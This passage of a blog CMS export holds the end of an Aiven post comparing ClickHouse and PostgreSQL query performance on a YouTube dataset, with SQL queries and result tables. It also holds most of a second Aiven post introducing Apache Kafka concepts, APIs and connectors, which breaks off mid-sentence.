\n        ELSE \n            CASE \n            WHEN COALESCE(like_count,0) = COALESCE(dislike_count,0) \n                THEN 0.5 \n            WHEN like_count IS NULL or like_count = 0 \n                THEN 0\n            WHEN dislike_count IS NULL or dislike_count = 0 \n                THEN 1\n            ELSE like_count / dislike_count \n        END \n    END) as comments_disabled_like_ratio,\nAVG( \n    CASE \n        WHEN is_comments_enabled THEN \n            CASE \n                WHEN COALESCE(like_count,0) = COALESCE(dislike_count,0) \n                    THEN 0.5 \n                WHEN like_count IS NULL or like_count = 0 \n                    THEN 0\n                WHEN dislike_count IS NULL or dislike_count = 0 \n                    THEN 1\n                ELSE like_count / dislike_count \n            END  \n        ELSE NULL         \n    END) as comments_enabled_like_ratio\nFROM videos\nGROUP BY Views_OOM\nORDER BY Views_OOM;\n-- A few small changes because PG doesn't like Log(0), and stores boolean as T/F instead of 1/0\n```\n### Runtime \n\n```\n| ClickHouse  | Postgres     | % Diff  |\n| ----------- | ------------ | ------- |\n| 216 seconds | 1106 seconds | 412%   |\n```\n\n### Results\n```\n| Views                 | Likes / Dislikes                     |\n|                       | Comments Disabled | Comments Enabled |\n| --------------------- | ----------------- | ---------------- |\n| 0                     | 0.53              | 0.54             |\n| Less than 10          | 0.63              | 0.66             |\n| Tens                  | 1.10              | 1.14             |\n| Hundreds              | 3.47              | 4.54             |\n| Thousands             | 14.01             | 22.37            |\n| Tens of Thousands     | 22.88             | 40.92            |\n| Hundreds of Thousands | 19.01             | 37.63            |\n| Millions              | 12.05             | 30.58            |\n| Tens of Millions      | 6.66              | 23.24            |\n| Hundreds of Millions  | 3.08              | 20.65            |\n| Billions              | 1.77              | 19.55            |\n```\n\nVideos with comments disabled on average have a much worse Like:Dislike ratio, which is even more pronounced on videos with over ten thousand views. This would suggest that yes, people do disable comments on unpopular videos, especially ones with many views.\n\nThe other interesting thing about this data is the way the ratio of likes to dislike spikes in the 100k - million views range, both for videos with comments and without. This suggests to me that in that range, the YouTube algorithm is doing a good job predicting who will like a video. But as views increase, the odds that someone who dislikes the content of a video will be exposed to it increase.\n\nSo I asked a follow-up question: when commenting is disabled, are people more likely to like or dislike to express their feelings about a video?\n\n### ClickHouse query\n\n```sql\nSELECT \nCEILING(log10(view_count)) as Views_OOM,\nAVG( \n    CASE \n        WHEN is_comments_enabled = 1 THEN NULL \n        ELSE like_count + dislike_count\n    END) as comments_disabled_interactions,\nAVG( \n    CASE \n        WHEN is_comments_enabled =1 \n            THEN like_count + dislike_count\n        ELSE NULL\n    END) as comments_enabled_interactions\nFROM videos\nGROUP BY Views_OOM\nORDER BY Views_OOM;\n```\n\n### Postgres Query\n\n```sql\nSELECT \nCEILING(log10(view_count + 1)) as Views_OOM,\nAVG( \n    CASE \n        WHEN is_comments_enabled  THEN NULL \n        ELSE like_count + dislike_count\n    END) as comments_disabled_interactions,\nAVG( \n    CASE \n        WHEN is_comments_enabled \n            THEN like_count + dislike_count\n        ELSE NULL\n    END) as comments_enabled_interactions\nFROM videos\nGROUP BY Views_OOM\nORDER BY Views_OOM;\n-- A few small changes because PG doesn't like Log(0), and stores boolean as T/F instead of 1/0\n```\n\n### Runtime \n\n```\n| ClickHouse  | Postgres     | % Diff  |\n| ----------- | ------------ | ------- |\n| 165 seconds | 992 seconds  | 501%   |\n```\n\n### Results\n\n```\n| Views                 | Average Likes + Dislikes             |\n|                       | Comments Disabled | Comments Enabled |\n| --------------------- | ----------------- | ---------------- |\n| 0                     | 0.10              | 0.10             |\n| Less than 10          | 0.45              | 0.56             |\n| Tens                  | 2.59              | 3.20             |\n| Hundreds              | 10.56             | 13.74            |\n| Thousands             | 55.86             | 80.88            |\n| Tens of Thousands     | 414.67            | 699.82           |\n| Hundreds of Thousands | 3,193.55          | 5,903.21         |\n| Millions              | 22,368.78         | 42,363.47        |\n| Tens of Millions      | 138,028.31        | 256,495.88       |\n| Hundreds of Millions  | 967,767.47        | 1,520,044.48     |\n| Billions              | 8,072,880.48      | 9,185,313.54     |\n```\n\nNo, indeed not. Videos with comments enabled have on average more interactions (likes and dislikes) than videos with similar view counts and comments disabled.\n\n## Unlisted videos\n\nYouTube officially claims to have over 800 million videos, but our dataset shows over 4 billion records. Are those all unlisted? Our analysis has focused mostly on listed videos. So what's the most viewed video that is unlisted?\n\n### ClickHouse query\n\n```sql\nSELECT \n    title, \n    uploader, \n    view_count\nFROM videos \nWHERE is_crawlable = 0\nORDER BY view_count desc \nLIMIT 2;\n```\n\n### Postgres Query\n\n```sql\nSELECT \n    title, \n    uploader, \n    view_count\nFROM videos \nWHERE is_crawlable \nORDER BY view_count desc \nLIMIT 2;\n```\n### Runtime \n\n```\n| ClickHouse  | Postgres     | % Diff  |\n| ----------- | ------------ | ------- |\n| 301 seconds | 1006 seconds | 234%    |\n```\n\n### Results\n```\n| Title                                                   | Uploader  | Views         |\n| ------------------------------------------------------- | --------- | ------------- |\n| 009 211 Baton Recut 1920x1080 15s                       | Instagram | 2,048,634,523 |\n| 009 214 HeartShapedWorld Acq EN UAC 1920x1080 15s V1 FB | Instagram | 1,554,823,463 |\n```\n\nBoring! It's an Instagram ad with 2 billion views. After analyzing videos with a high view count to sub ratio, maybe this is what I should've expected. There's got to be a way to separate viral videos from ads! We'll just have to keep digging.\n\n## Top 1% of views\n\nClickHouse also has some intertesting statistical functions built in. As I'm interested in views again, let's get a sense of how views are distributed among videos. Before you look, try to guess how many views you need to be in the top 1% of videos.\n\n### ClickHouse query\n\n```sql\nSELECT \n    quantiles(0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 0.99)(view_count)\nFROM videos;\n```\n\nYes, postgres can do similar functions, but for this specific example needs multiple steps, and would require an order of magnitude more resources. For the ClickHouse quantile function, it uses sampling to calculate approximations\n\n### Runtime\n42 seconds for ClickHouse\n\n### Results\n```\n| Percentile | View Count |\n| ---------- | ---------- | \n| 10th       | 7          |\n| 20th       | 18         |\n| 30th       | 36         | \n| 40th       | 64         |\n| 50th       | 118        | \n| 60th       | 220        |\n| 70th       | 433        | \n| 80th       | 1,093      | \n| 90th       | 4,256      |\n| 99th       | 179,308    |\n```\n\nIt's pretty cool to see the numbers laid out like that. I did not expect the top 1% to be so high, given how many videos there are on the platform.\n\n# Conclusion\n\nOn average, the Aiven for ClickHouse database performed 5-10 times better than Aiven for PostgreSQL. And in one specific case, question #2, the performance was 20x better! Postgres is a great general purpose database, but it struggles to keep up with ClickHouse on these large datasets, especially column aggregations. It makes perfect sense, ClickHouse has been designed for exactly that purpose. If we were doing a performance test with a lot of updates and deletes, it would be ClickHouse fighting for its life. \n\nEvery database has an intended use. From the very beginning of its development, the developers make certain trade-offs, and you want to go with the grain, not against it.\n\nIf you only take one thing away from our little experiment, it should be this: **choosing the right tool for your use case saves you time**, both in development and execution, so you can focus on getting answers to the big questions.\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n\n## Further reading \n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n- [Aiven for PostgreSQL® now available in UpCloud](https://aiven.io/blog/aiven-postgresql-now-available-in)","categories":[{"_key":"1da4ee4dc1a8","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"5554b7300c57","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-70a583cbc9a0b5f6c16ff5bcca89cd6f09e1879c-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-01-25T12:15:30.540Z","related":[{"_key":"cf4ffafb55f3","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Offload PostgreSQL Analytics to ClickHouse for Better Results"},"slug":{"_type":"slug","current":"/blog/why-you-should-offload-your-pg-analytical-workloads-to-clickhouse"},"subtitle":"In this post, ClickHouse and PostgreSQL go head-to-head at analyzing YouTube videos. The results speak for themselves - find out what they say.","title":"Why you should offload your PostgreSQL analytical workloads to ClickHouse"}
{"__i18n_lang":"en","_createdAt":"2022-07-13T01:06:15Z","_id":"1olZrzEu8a8Ia9ic87p7ZV","_rev":"If5MXS1R4Zj7MKtcdBSfRP","_type":"post","_updatedAt":"2024-02-13T14:32:05Z","authors":[],"body":"\u003c!--\nworking version in GitHub: \\GitHub\\blog-posts\\posts\\2022\\ed-pillar-kafka\\pillar-kafka.md\ncopy-paste everything into Contentful version for publishing https://app.contentful.com/spaces/q3u27v6lpki8/entries/1olZrzEu8a8Ia9ic87p7ZV\nDO NOT EDIT IN CONTENTFUL\n--\u003e\n\nThis page is your **Apache Kafka® introduction**, where you'll find answers questions like...\n- What is Apache Kafka?\n- What is event streaming?\n- What is event driven architecture?\n- What are microservices?\n- Where does Apache Kafka fit in?\n- How does Apache Kafka work?\n- What are the benefits of Apache Kafka’s approach?\n- How do I build an Apache Kafka centric architecture?\n\n... and probably more that we haven't thought of yet!\n\n\u003e **Note:** If you're pressed for time, you can also take home our free ebook (or show it to your boss)! [Check it out](https://aiven.io/ebook/apache-kafka-for-tech-leaders) to get an overview of Apache Kafka: what it is, how it works, and how tech leaders can take advantage of it for their business.\n\nIn this post:\n1. [Apache Kafka: the basics](#apache-kafka-the-basics)\n2. [Benefits of Apache Kafka in an event driven architecture](#benefits-of-apache-kafka-in-an-event-driven-architecture)\n3. [How does Kafka work?](#how-does-kafka-work)\n4. [What is event streaming?](#what-is-event-streaming)\n5. [Apache Kafka in your architecture](#apache-kafka-in-your-architecture)\n6. [Apache Kafka APIs](#apache-kafka-apis)\n7. [Building microservices with Apache Kafka](#building-microservices-with-apache-kafka)\n8. [Event driven architecture with Apache Kafka: variations](#event-driven-architecture-with-apache-kafka-variations)\n9. [Updating legacy architecture with Apache Kafka](#updating-legacy-architecture-with-apache-kafka)\n10. [Managing Apache Kafka](#managing-apache-kafka)\n11. [Kafka and data safety](#kafka-and-data-safety)\n12. [Getting started with Apache Kafka on Aiven](#getting-started-with-apache-kafka-on-aiven)\n\n## Apache Kafka: the basics\n\n### Definition and uses\n\nApache Kafka is often described as an event streaming platform (if you don't know what that is, [this may help](#what-is-event-streaming)). And this is true, but at its core it’s simpler: Apache Kafka is really just a way to move data from one place to another. That's what makes it the swiss army knife of data infrastructure.\n\nYou can use it to move data between your own applications, between your applications and data stores (like PostgreSQL or Amazon S3), or between those data stores. Apache Kafka makes applications independent from each other, so that one application can pass data on without needing to wait for the other application to deal with the situation.\n\nThe easiest way to try Apache Kafka is to sign up for a managed service and give it a spin. For that, go straight to [Getting started with Apache Kafka on Aiven](#getting-started-with-apache-kafka-on-aiven).\n\n### Apache Kafka is a simple bit of glue?\n\nFundamentally, Apache Kafka is quite a simple piece of the architecture, but that's what makes it powerful - it doesn’t add complexity but allows clean architectural boundaries to emerge. As a widely-used open source product, Apache Kafka also has a lot of client and tooling options; whether it's high-level APIs and libraries help you build your own applications, or off-the-shelf \"glue\" between data stores, or helpful management interfaces to show you what's happening inside Apache Kafka, there will be something already available in the ecosystem. (And those management interfaces are important, as Apache Kafka is notorious for being difficult to manage at scale - which is where a well-built PaaS can give you peace-of-mind and let you focus on your applications themselves.)\n\nIn some ways, Apache Kafka is rather like a [cross between a messaging system and a database](https://aiven.io/blog/apache-kafka-and-the-great-database-debate \"Apache Kafka and the Great Database Debate | Aiven Blog\"). It shares features with both, but it's more than a message queue and different from a database. The fact that almost any system can act as a producer or consumer means that Apache Kafka's core use is as a conduit for systems to talk to each other and share data. There's no need for a complex network of connectors and pipelines between systems - they are decoupled and independent of each other. This has profound implications not just for the speed and reliability of data delivery but also for the [breadth of use cases](https://www.aiven.io/blog/use-cases-for-apache-kafka) that Kafka can be put to.\n\n![Apache Kafka concepts and terms](//images.ctfassets.net/q3u27v6lpki8/6pNr86mlAD5j7tYDDLLJhj/f78046f6afd7df6de9bfde7965af82bd/box-concepts.png)\n\n(Want more glossary? Check out [Apache Kafka key concepts](https://www.aiven.io/blog/apache-kafka-key-concepts)!)\n\n## Benefits of Apache Kafka in an event driven architecture\n\n[We've kind of talked about Apache Kafka benefits on the Aiven Blog before](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture), but let's just quickly run through why you'd want to use Apache Kafka for your event based data architecture.\n\n### Speed through structure\nOnce upon a time, you had to choose between a fast messaging platform or a durable one. This is because \"fast\" was often implemented as \"messages are only in memory\", and the thought of writing messages onto disk was derided as being too slow. Apache Kafka changed all of that by re-thinking how storage is used. When messages are arranged into topics and topics into append-only partitions, it’s possible to have a messaging platform that’s __both fast and durable__.\n\n### ...and compression\nAnother contributor to Kafka’s fast throughput is that Kafka itself doesn't care about the structure of the data - as far as it is concerned, data is just a series of bytes. The producers and consumers however should agree on the structure of the data, or otherwise they won't understand it. This is often handled by a separate component called a *schema registry* (for example, [Karapace](https://github.com/aiven/karapace/blob/master/README.rst \"Karapace | GitHub\")) where the producers (or even the system architects) can store the structure of a message, and the consumers can read the structure and have an expectation of which fields etc will be in the messages on a given topic. Where possible this also compresses the messages - the field names don't need to be sent with each message if they are already in a schema registry, which the consumer can query to \"re-hydrate\" the full message.\n\nAs a result, Kafka's scalable, fault-tolerant, publish-subscribe messaging platform is nearly ubiquitous across vast internet properties like Spotify, LinkedIn, Square, and Twitter.\n\n### Quickly in, quickly out\n\nKafka also has a fast throughput because it decouples writing data from reading it. Data doesn't have to be received at its final destination(s), it only has to be written to the broker by the producer. Similarly, consumers read data as and when it suits them, not acting as a roadblock to the producers.\n\n### Future-proofing with scalability\n\nKafka’s __scalability__ offers tangible [business](https://aiven.io/case-studies/mirakl-goes-cloud-native-with-aiven) [benefits](https://aiven.io/case-studies/goto-financial-goes-far-with-aiven). Its partitioned log model allows data to be distributed across multiple brokers, allowing immense amounts of data to reside in the same platform but on different servers. It’s also trivial to [make Kafka geographically resilient using MirrorMaker 2](https://www.aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2), which will replicate the data between two different clusters (potentially in different regions or even different clouds) - resistant to interruption and without any data loss.\n\n### Safety through copies\n\nBecause Kafka replicates data across servers, data centers and clouds, with the correct configuration the data is safe even if a server or region fails. With replication configured per-topic, Kafka keeps track of which servers are the \"owners\" of the data and which servers have replica copies to use in the event of failure.  While manually restoring the data in Kafka after an issue might not be a meaningful concept, care must be taken to ensure that settings like the \"replication factor\" are correct for your requirements.\nYou can read more in [Data and disaster recovery](https://aiven.io/blog/data-and-disaster-recovery \"Data and disaster recovery | Aiven Blog\").\n\n## How does Kafka work?\nWhen used in an event-driven world, Kafka sees each event as a different message. In this case, an event always happens at a certain time (timestamp), concerns a specific thing (key), and states what happened regarding that thing (value). It may also contain additional information (metadata headers).\n\nFor example:\n\n- On 2 February 2022 at 16:37 (timestamp) a pulled-oat sandwich (key) was purchased (value) at Tania’s Deli (metadata).\n- On 3 February 2022 (timestamp) ten (value) pulled-oat sandwiches (key) were delivered at Tania’s Deli (metadata).\n\n### Pub/sub\n\nEvents are written, or published, to Kafka by client applications called __producers__. Other applications, called __consumers__, read events from Kafka, often as input that triggers another action.\n\nThis is called a __publish-subscribe model, or pub/sub__ - the producers are not aware of, or care at all about, the consumers which are reading the events.\nKafka organizes streams of events into a number of topics, which are basically category-named data feeds, and are usually themselves split into partitions for scaling. Producers write event records by appending them to the sequence of events in a given topic, resulting in an ordered series (remember that ordering is only preserved within a partition, not across partitions).\n\n### Consuming from topics - the importance of offsets\n\nConsumers consume records from specific topics, starting from a given offset (the record number in the topic). This makes it easy to consume the records asynchronously while still retaining the correct order. The last-known offset for a given consumer (or group of consumers) is usually also stored in Apache Kafka, so that when a consumer re-attaches after some kind of interruption it can seamlessly pick up from where it left off.\n\n![Anatomy of a Kafka topic. Topics are category-named data feeds, here shown divided into partitions to provide faster throughput.](//images.ctfassets.net/q3u27v6lpki8/34ozH7TSA3ALLhLMMjHLnz/ac5054056a87769beac13f18158feff0/anatomy_of_a_topic.jpg)\n\n![ Producers always write to the end of the topic queues. Consumers then read the data according to their configured offsets to keep events in order.](//images.ctfassets.net/q3u27v6lpki8/HAMxgTZRwn4izL2onEMBW/5297a074aeda78163e638254611d35e1/producers.jpg)\n\n\u003c!-- If you want to learn more about how to program for Kafka, head over to our event-driven architecture page -link to cluster page https://aiven.io/blog/introduction-to-event-driven-architecture- --\u003e\n\n## What is event streaming?\nSo if Kafka is an event streaming platform, what is event streaming? Event streaming is just what it says on the box: services publishing events in a continuous stream for other systems to read and process elsewhere. Importantly, events happen in order, and the producer of the events does not care about who or what is reading the events. It’s a great way to decouple different applications from each other, so that any given application can just focus on what it does best.\n\nSo no, it’s not you watching a live Broadway performance of Cats in your living-room. Event streaming is what an event driven architecture does when it’s at home.\n\n### What is event streaming used for?\nEvent streaming is used to separate applications which are actively doing a task (e.g. reading from a sensor or charging a credit card) from applications which are observing and acting-on the results of that task (e.g. switching the air-con off or shipping a package) - it’s a stream of data about things which have happened and often need to be processed further. Here are some common uses:\n\n- Monitoring infrastructure and detecting anomalies - keeping up to date with your own systems. ([See how Aiven does it](https://aiven.io/case-studies/open-source-tools-provide-observability-for-aiven)!)\n- Triggering related business processes - for example, when someone registers a new account, trigger a background fraud detector\n- Metrics with real-time counters, moving averages and more - applications in e.g. fintech and climate applications\n- Creating dashboards - anywhere that humans want to run an eye over the numbers, like traffic monitoring and leaderboards.\n- Moving data from the incoming event stream to longer-term storage for offline analytics and queries.\n- Enabling an event-driven architecture (EDA)\n\n### Use cases with event driven architecture\nEvent driven architecture is frequently used for applications where lots of data comes in very quickly. Social media, online shopping and [IoT applications](https://aiven.io/blog/3-considerations-for-building-an-enterprise-iot-solution \"3 considerations for building an enterprise IoT solution | Aiven Blog\") are great examples, but depending on scale it might also include things like inventory management.\n\nTake a look at our page for [case studies featuring a Kafka-centric architecture](https://www.aiven.io/blog/use-cases-for-apache-kafka).\n\n## Apache Kafka in your architecture\n\nWhere does Apache Kafka fit in? In brief, it goes in the middle of all your systems. There are multiple open source options for producers and consumers, many of them with existing connectors to Kafka. Remember that Kafka itself isn’t performing any application logic, it is simply an ordered store of messages - it has no knowledge of what is contained within the messages although it does allow producers to separate metadata about the messages into message headers.\n\nTypically, Apache Kafka acts as a kind of pipeline, streaming data from one place to another (or many others). Consumers can choose whether to start from the latest message in a topic (and only get the new messages after that), or to start from the beginning of the topic (and get as many messages as are still on the topic), or somewhere in between. Kafka tracks the position of a message on a topic, called the “offset”, adding new messages to the end. Consumers track the offset that they last saw (or that they want next), although that detail is often hidden inside of libraries used by the clients.\n\n![Apache Kafka in your architecture](//images.ctfassets.net/q3u27v6lpki8/27plzs2p5wJTpfkGwTaNvq/a5ee6574acdf2b805be9ba1c56e50339/Apache_Kafka_in_your_architecture.png)\n\n![Apache Kafka ecosystem with connect02 B](//images.ctfassets.net/q3u27v6lpki8/2Rsdc8qQifnr8jHCAUgLpW/8f3fbae3f0fec1006733b381b7da0c06/Apache_Kafka_ecosystem_with_connect02_B.png)\n\n## Apache Kafka APIs: connecting to Kafka\n\nUtterly unsurprisingly, Kafka interfaces with other systems via APIs. Kafka’s Java client offers five core APIs:\n- The [Admin API](https://kafka.apache.org/documentation.html#adminapi) for inspecting and managing Kafka objects like topics and brokers.\n- The [Producer API](https://kafka.apache.org/documentation.html#producerapi) for writing (publishing) to topics.\n- The [Consumer API](https://kafka.apache.org/documentation.html#consumerapi) for reading (subscribing to) topics.\n- The [Kafka Streams API](https://kafka.apache.org/documentation/streams) to provide access for applications and microservices to higher-level stream processing functions.\n- The [Kafka Connect API](https://kafka.apache.org/documentation.html#connect) for creating import and export connectors to external systems and applications.\n\nWhich API you use to connect to Apache Kafka and how exactly you do it depends on things like which technologies you are using, what type of activity you want to do (produce message, consume messages, manage the Kafka brokers, etc), how “high-level” you want the connection to be (do you want your code to specify all of the individual details about messages / partitions / headers / etc, do you want your consumer to keep track of its latest offsets, do you want to describe how a stream should be processed and let the library setup the message flows, do you want to avoid writing any code at all and just use Kafka to join together other datastores?).\n\n### Some producers and consumers\n\n#### Low-level libraries\n\nFor full control over the data flowing onto and off a Kafka topic, there are client libraries available for many different programming languages. The Apache Kafka project itself maintains the Java APIs, but commonly-used libraries in other languages include:\n\n- [Sarama for Go](https://github.com/Shopify/sarama)\n- [Kafka-go for Go](https://github.com/segmentio/kafka-go)\n- [Kafka-python for Python](https://github.com/dpkp/kafka-python)\n- [Librdkafka for C/C++](https://docs.confluent.io/clients-librdkafka/current/overview.html) (and wrappers for [Go](https://docs.confluent.io/clients-confluent-kafka-go/current/overview.html), [Python](https://docs.confluent.io/clients-confluent-kafka-python/current/overview.html), etc)\n\nThese consumers allow you to do things like target particular partitions for a message, send arbitrary bytes for the message body, and use any data structure for the key. Note that most of these will need to be carefully synchronized between the producers and the consumers, otherwise the consumers will likely misunderstand the message (e.g. it might be on an unexpected partition or not conform to the expected structure).\n\n### Higher-level client libraries\n\nGetting slightly higher, these libraries will generally also allow some more standard options to be used. For example, automatically selecting the partition based on a hash of the message key, or using a [schema registry](https://www.aiven.io/blog/what-is-karapace) to make sure that the message structure conforms to expectations.\n\nFor consumers, a big concern is keeping track of whereabouts in the stream of messages a consumer has processed up to. Low-level consumers might store their own offset somewhere (for example in ZooKeeper, although [Kafka itself has been moving away from ZooKeeper](https://aiven.io/blog/broker-communication-in-kafka-2-7-and-beyond \"Broker communication in Kafka 2.7 and beyond | Aiven Blog\")), but it’s more normal to let Kafka manage that for you so an application can happily restart and pick up where it left off. By default, Kafka uses a dedicated topic called __consumer_offsets__ for this.\n\n### EVEN higher-level client libraries\n\nGetting even higher-level, a common need is to coordinate many different instances of an application, so that each message is only handled once even though there could be many different servers running an application. To help coordinate which applications are consuming from which topics, what offset they are all up to, and to spread load around in case of application failure, Kafka lets you model a group of consumers as a single entity.\n\nWhen an application connects to Kafka and requests to consume from a given topic, it can declare itself as a member of a particular [consumer group](https://kafka.apache.org/documentation/#consumerconfigs_group.id) --or link to consumer groups section--, and it will be given messages from the correct offset in a subset of partitions depending on how many other applications are also in that consumer group.\n\n### Really high level clients\nInstead of dealing with every individual detail of each message, you can opt for higher-level clients that simplify the whole message process.\n\n#### Stream processing\n[Kafka Streams](https://kafka.apache.org/documentation/streams/) is a Java library which allows you to model how you want to deal with a stream of messages in your application. It lets you create a fluent pipeline in your code, defining a stream of transformations (e.g. “extract these fields from the message”, “combine the message with a lookup from a DB table”, “if this field contains a number bigger than 10, then publish the message onto a different stream and raise an alert”), and then the Kafka Streams library figures out what needs to be wired together to deploy the overall process.\n\n#### Apache Kafka Connect®\n\nIf you don’t want to write any code at all, or maybe just write some “glue” code to extract data from some other datastore, you can use Apache Kafka Connect to create a single source pipeline into Kafka and a single sink pipeline out of it. It is important to note that Kafka Connect is nothing special from Kafka’s point of view, it is simply an external application which produces and consumes messages, but it is a convenient way to get data into or out of an external datastore (e.g. a PostgreSQL database).\n\n[Apache Kafka Connect](https://aiven.io/kafka-connect) is an application which hosts one or more “connectors”, which themselves fall into one of two categories: a “source” which extracts data from an external source and publishes it onto a Kafka topic, or a “sink” which consumes data from a Kafka topic and pushes it out to something external. Sometimes, these are used together in order to move data between two external datastores, using Kafka purely as a transit between the two connectors.\n\nWith Kafka Connect, you can also perform simple transformations to message fields in individual messages.\n\n(Curious to know what Kafka Connectors Aiven provides? Here's a [list of Aiven's Apache Kafka connectors](https://help.aiven.io/en/articles/1231452-kafka-connect-connectors) in the developer docs.\n\n##### Source connector examples\n\n- Pulling data from a relational database, either as a single bulk extract or as ongoing changes. There are various implementations of this, common ones being Debezium which pretends to be a read-only replica database (e.g. using [CDC](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html)) or [Aiven’s JDBC source](https://github.com/aiven/jdbc-connector-for-apache-kafka) which can either repeatedly dredge a whole table at a time or follow an incrementing column like an ID or a timestamp to figure out what has been changed.\n- Watching for changes in an AWS S3 bucket\n- Subscribing to another message broker, e.g. the [Stream Reactor MQTT connector](https://docs.lenses.io/5.0/integrations/connectors/stream-reactor/sources/mqttsourceconnector/) from Lenses.io\n\n##### Sink connector examples\n\n- Writing data to a relational database\n- Calling an external API\n- Sending a webhook to notify clients that something has happened\n- Streaming events into a data warehouse for storage and analytics\n\nIf the system you want to connect to Kafka doesn’t have a ready-made connector, you can use the\nKafka Connect API to make one.\n\n### Coordinating message schemas\nSince Kafka is a tool to decouple producers and consumers, it also removes their opportunity to agree on the structure of the messages. How does the producer know that the consumers are able to understand the messages it is publishing?\n\nThere is no opportunity for the various applications to coordinate which fields they are expecting, or whether they expect a particular field to be an actual integer or a string containing an integer - a common situation experienced by anyone investigating a new API.\n\nTo solve this problem, it is common to use an external tool such as [Karapace](https://aiven.io/blog/what-is-karapace) which acts as a repository for the schema of the messages being published onto a particular topic. The publisher writes its message schema into the registry, including all of the fields and what data type they are, and consumers can read the schema and align their expectations accordingly.\n\nIf the schema is not as they are expecting, then they could raise an exception and avoid consuming any messages from the topic, or they could flag that perhaps a software version upgrade is needed as the schema has evolved.\n\n#### The other benefits of having a message schema\n\nThere are more benefits of having a message schema. It is necessary for schemas to evolve - rarely do we know all of the future requirements when first writing a piece of software - but the schema registry can inform (or enforce!) us whether a new schema is compatible with the previous version. For example if a new schema version is just adding fields but not removing any, then chances are good that consumers will still be able to understand the messages even if they don’t yet know how to handle the new fields.\n\nAnother benefit is that the consumer might not need to send the field names with every message. If using a serialization format which preserves the order of fields (e.g. Avro instead of JSON) then the producer can tell the registry that e.g. “the first field is a numerical ID, the second field is the username” and then it just needs to serialize the field values - the consumer already knows that the first field will never be the username.\n\nContrast that with a format that does not require fields to stay in order, which will still need the field name to be sent with each field. Kafka clients which can also use a schema registry will re-create the full message structure based on the data in the message and the schema from the registry, whilst being transparent to the application.\n\nCommon schema registries include the open-source Karapace and the Confluent Schema Registry.\n\n## Building microservices with Apache Kafka\nGiven that Apache Kafka excels at enabling applications to decouple from each other, it is commonly found at the center of a [microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture). This means that an application has been broken up into several smaller applications, each one focusing on its own task as part of the bigger picture but generally unaware of the other parts. Microservices using Kafka can either be consumers or producers, or often both, using Kafka to receive data or instructions, and then publishing the results back onto Kafka for other applications to use or for storing in a data warehouse.\n\nAs much as microservice architectures [bring benefits](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-alef-education) in terms of simpler individual applications which can each be scaled as needed, they also add complexity to the overall picture. Now, instead of a single piece of software, there could be many different applications - easy to test individually, but the interactions between them need a solid set of integration tests. If not carefully planned, what was thought to be decoupled applications can quickly become accidentally dependent on each other, such that if one application starts to struggle or has a critical bug then the others around it fall like dominoes. Getting back control of such a situation can be complex, so effort should be invested to ensure that independence of each microservice is preserved.\n\nGood use of Apache Kafka, however, can make this easier than it may seem. Combined with a schema registry like [Karapace](https://karapace.io), the chance of unexpected messages arriving into a microservice is kept under control, and good integration tests keep the application behaviors well understood.\n\nTo read more about the challenges and opportunities of building a microservice architecture, see [How are your microservices talking](https://aiven.io/blog/how-are-your-microservices-talking).\n\n## Event driven architecture with Apache Kafka: variations\nSince Apache Kafka goes together with so many apps, it stands to reason that Kafka-centric architectures come in a range of flavors. Take a look at these cases, for example:\n\n- [Building a streaming SQL pipeline with Flink and Kafka](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka)\n- [Near real-time ELT with Kafka + Snowflake](https://aiven.io/blog/near-real-time-elt-with-apache-kafka-and-snowflake)\n- [Optimizing data streaming pipelines](https://aiven.io/blog/optimizing-data-streaming-pipelines)\n\n[![Kafka-pillar-piece-video-link-frame](//images.ctfassets.net/q3u27v6lpki8/2Cd1h0f87ZbqoSIwJaukCN/628ebb52121b259428fad8480d530edc/Kafka-pillar-piece-video-link-frame.png)](https://youtu.be/Ca3TlklRhfs \"Video: Building data pipelines with Apache Kafka and PostgreSQL | YouTube\")\n\n## Updating legacy architecture with Apache Kafka\n\nKafka is actually a good option for dealing with [database migration](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect). But you can use it for more than just migration: Kafka can seamlessly join the elements of an old architecture together and allow you to expand and scale it. It also makes it easy to join new types of elements to existing ones.\n\nHere are some things we prepared earlier...\n\n- [Updating an old app-to-database architecture for Kafka](https://aiven.io/blog/using-kafka-connect-jdbc-source-a-postgresql-example)\n- [Streaming event data while modernising legacy architecture](https://aiven.io/case-studies/building-event-driven-architecture-with-aiven)\n- [Moving from a provider of mechanical slot machines to an online hybrid gaming infrastructure](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-paf)\n- [A supply chain and inventory management system with a cloud-based, unified model of data](https://aiven.io/case-studies/aiven-cloud-helps-adeo)\n\n## Managing Apache Kafka\n\nBeyond the initial startup configuration files, there are also various activities needed to manage Apache Kafka as it is running (e.g. creating new topics, updating consumer group offsets, or 